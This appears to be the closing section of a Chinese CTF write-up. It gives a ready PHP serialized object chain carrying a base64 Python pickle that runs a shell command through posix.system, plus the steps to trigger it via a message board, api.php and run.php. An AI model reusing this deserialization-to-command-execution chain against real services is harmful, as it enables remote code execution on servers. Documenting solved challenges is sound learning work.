#blueshark:O:6:"Bridge":2:{s:6:"writer";O:6:"Writer":2:{s:7:"b64data";s:188:"gASVgQAAAAAAAACMCF9fbWFpbl9flIwDU2V0lJOUKYGUfZQojAZzZWNyZXSUQwhrYXFpa2FxaZSMB3BheWxvYWSUQ0SABJU5AAAAAAAAAIwFcG9zaXiUjAZzeXN0ZW2Uk5SMHmNhdCAvZmxhZyA+IC90bXAvc3N4bC9vdXRzLnR4dJSFlFKULpR1Yi4=";s:4:"init";s:4:"init";}s:5:"shark";O:5:"Shark":1:{s:3:"ser";s:18:"O:7:"Pytools":0:{}";}}
需要在Linux环境跑,因为
在 Windows 上:os 模块实际上是指向 nt 模块的。当你序列化 os.system 时,Python 记录的路径是 nt.system
在 Linux 上:os 模块指向的是 posix 模块。序列化时记录的是 posix.system
当把把在 Windows 上生成的 Payload 发给 Linux 服务器时,它会报 ModuleNotFoundError: No module named 'nt'
有payload了,我们操作就行
先在留言板把payload传上去
然后访问api.php?id=对应的数,这一步触发了 PHP 反序列化,Bridge 开始工作,在服务器生成攻击所需的 .bin 文件,页面显示 喵喵喵!说明写入成功
点击页面上的 "喵喵喵" 按钮(或者访问 run.php?action=run,这里是PHP 调用 Python 脚本,Python 脚本加载恶意文件并执行命令。
总结一下
怎么说呢,就只写了解多的,说实话自己还是有点太依赖ai了,这个习惯得改,狠狠的改,继续加油吧,诶~

浙公网安备 33010602011771号